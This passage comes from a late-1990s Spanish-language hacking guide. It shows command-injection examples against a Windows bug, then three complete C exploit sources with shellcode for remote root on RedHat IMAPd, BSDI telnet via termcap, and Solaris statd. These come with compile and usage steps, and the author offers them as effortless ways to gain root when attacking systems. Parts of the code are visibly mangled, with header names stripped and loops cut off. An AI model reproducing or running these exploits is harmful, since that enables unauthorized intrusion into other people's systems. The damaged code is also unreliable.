al directorio "c:\windows". "c+type+c:\yo.txt" -> Muestra el contenido de "yo.txt" en pantalla. "c+edit+c:\yo.txt" -> Podeis modificar el contenido de "yo.txt". etc............ Bueno creo que esto ha quedado suficientemente claro, pero tambien deciros que busqueis un poco mas de informacion sobre este bug, porque tiene algunas variantes que debeis saber por si acaso esta no funciona. -$09.6 -->> EXPLOITS A RAUDALES Por ultimo os pondre varios exploits que he recopilado y que os daran directamente una cuenta o que os haran conseguir privilegios de "root" sin que tengais que hacer ningun esfuerzo. __________________________________________________________________________ COMO COMPILARLOS: | | Compilar un exploit es realmente sencilloj. Cuando estes en el shell | (interprete de comandos) solo tines que escribir "gcc -o nombre nombre.c",| donde "nombre" es el nombre que quieras darle al programa y donde | "nombre.c" es el nombre del exploit que has conseguido. | __________________________________________________________________________| Yo aun no los he probado y si no me equivoco, para ejecutar los dos ultimos exploits necesitareis tener instalado en vuestro ordenador, algun tipo de UNIX o Linux, lo siento otra vez por los amantes del Windows ("ventanukos" para algunos, pero a ver si maduramos y llamamos a cada cosa por su nombre). Ahi van tres: ----------------------------------------------------------------------- _______________________________________________________ |_Shell "ROOT": Tienen que tener el LINUX -> "RedHat"_| /* * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05 * * Workz fine against RedHat and imapd distributed with pine * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of ToXyn !!! * * usage: * $ (imap 0; cat) | nc victim 143 * | * +--> usually from -1000 to 1000 ( try in steps of 100 ) * * [ I try 0, 100 and 200 - so1o ] */ #include char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh"; char username[1024+255]; void main(int argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(username);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username)-1 ] = 0; printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username); } -------------------------------------------------------------------- _________________________ |_Para BSDI BSD/OS 2.1:_| /* Bug originally discovered by Theo de Raadt */ /* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c ** ** Written by Joseph_K the 22-Oct-1997 ** ** ** Original shellcode by mudge@l0pht.com but modified a tiny bit... ** ** This program must be compiled for the BSDI architecture... ** You will need to transfer the file 'termcap' this program creates ** to the host you want to penetrate, possibly by anonymous FTP. ** ** Then start telnet and type: ** ** telnet> env def TERM access ** telnet> env def TERMCAP /path/and/name/of/uploaded/file ** telnet> open victim.host.com ** ** tadaa! r00t shell... ** ** However because of the invalid termcap entry, there can be some ** hazzles....You figure it out.... ** ** Fy faen vad jag ar hungrig... ** ** Special Greetz to TWiLiGHT! ** */ #include #include #include #define filename "./termcap" #define entry "access|Gimme r00t:\\\n :" #define bufsize 1300 #define default_offset 870 /* Should work...*/ char shellcode[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh"; long get_sp(void) { __asm__("movl %esp, %eax\n"); } int main(int argc, char *argv[]) { int i, fd, offs; long *bof_ptr; char *ptr, *buffer, *tempbuf; offs = default_offset; if(argc == 2) { printf("using offset: %d\n",atoi(argv[1])); offs = atoi(argv[1]); } if(!(buffer = malloc(bufsize))) { printf("can't allocate enough memory\n"); exit(0); } if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) { printf("can't allocate enough memory\n"); exit(0); } bof_ptr = (long *)buffer; for (i = 0; i < bufsize - 4; i += 4) *(bof_ptr++) = get_sp() - offs; ptr = (char *)buffer; for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++) *(ptr++) = 0x90; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; printf("Creating termcap file\n"); snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer); fd = open(filename, O_WRONLY|O_CREAT, 0666); write (fd, tempbuf, strlen(tempbuf)); close(fd); } ----------------------------------------------------------------------- _______________________ |_Para Solaris 2.5.1:_| /* statd remote overflow, solaris 2.5.1 x86 there is a patch for statd in solaris 2.5, well, it looks like they check only for '/' characters and they left overflow there .. nah, it's solaris usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah" # remember that statd is standalone daemon */ #include #include #include #include #include #include #include #include #define BUFSIZE 1024 #define ADDRS 2+1+1+4 #define ADDRP 0x8045570; /* up to ~ 150 characters, there must be three strings */ char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"}; char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83 \xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe \x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50 \x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xbf\xff \xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"; char nop[]="\x90"; char code[4096]; void usage(char *s) { printf("Usage: %s host [cmd]\n", s); exit(0); } main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i, noplen=strlen(nop); char *ptr=code; if (argc < 2) usage(argv[0]); if (argc == 3) cmd[2]=argv[2]; for (i=0; i< sizeof(code); i++) *ptr++=nop[i % noplen]; strcpy(&code[750], asmcode); /* XXX temp. */ ptr=code+strlen(code); for (i=0; i<=strlen(cmd[0]); i++) *ptr++=cmd[0][i]-1; for (i=0; i<=strlen(cmd[1]); i++) *ptr++=cmd[1][i]-1; for (i=0; i<=strlen(cmd[2]); i++) *ptr++=cmd[2][i]-1; ptr=code+BUFSIZE-(ADDRS<<2); for (i=0; ih_addr; target.sin_port=0; /* ask portmap */ sd=RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } ----------------------------------------------------------------------- Ya se que son pocos pero es que yo paso de empapar esta guia de codigo fuente, ademas sois vosotros los que cuando ataqueis un sistema tendreis que averiguar que SO utiliza y buscaros exploits adecuados a el. ----------------------------------------------------------------------------- -----------------$10--------DESPEDIDA---------------------------------------- ----------------------------------------------------------------------------- $10 -->> DESPEDIDA Siento que esta guia se haya acabado tan pronto, pero esto seguro que solo sera vuestra iniciacion, porque a partir de ahora tendreis que seguir buscando muchisima mas informacion ya que es la unica forma de que llegueis a algo. Consejo: Si quereis obtener de verdad buena informacion necesitareis sin duda leeros muchas de las E-Zines hispanas del momento, porque en ellas se manejan todos los temas actuales del momento y estan alerta a cualquier bug que pueda aparecer. Yo os recomiendo SET (Saqueadores Edicion Tecnica) que segun yo conozca es la que mas numeros lleva y la mas actual. La podreis encontrar en "www.set-ezine.org". Espero que os haya gustado mucho y aseguro que esta no sera mi ultima guia ya que tengo pensado hacer una nueva version de esta mas adelante en la que incluire nuevos exploits, mucho mas vocabulario y mas introduccion a otros temas referentes al mundo underground. ----------------------------------------------------------------------------- -----------------$11--------AGRADECIMIENTOS---------------------------------- ----------------------------------------------------------------------------- $11 -->> AGRADECIMIENTOS Solamente agradecer a todos los que hayan leido esta guia, por tener que aguantarme durante tanto tiempo pero realmente creo que ha merecido la pena y sino es asi podeis comunicarmelo a mi E-Mail que expondre abajo. Tambien agradecer a "MADFRAN" de EZine SET que me haya dado su opinion en mi anterior guia ya que gracias a el ahora ha sido posible la aparicion de esta. Ya sabeis espero vuestra opinion tanto sea buena como mala y tambien que me digais todas vuestras dudas sobre algun tema que no haya quedado suficientemente claro en mi E-Mail "blackngel_hack@hotmail.com", estare dispuesto a resolverlas. Saludos a todos....... Os pido porfavor que si el mensaje es de cierta integridad o simplemente si lo haceis por costumbre, pediria que encriptaseis vuestros e-mail con mi llave publica que os doi aqui, ya que nunca se sabe donde tiene puesto el ojo el Gran Hermano!: FELIZ HACKING A TODOS, QUE SEA SANO Y LEGAL *EOF*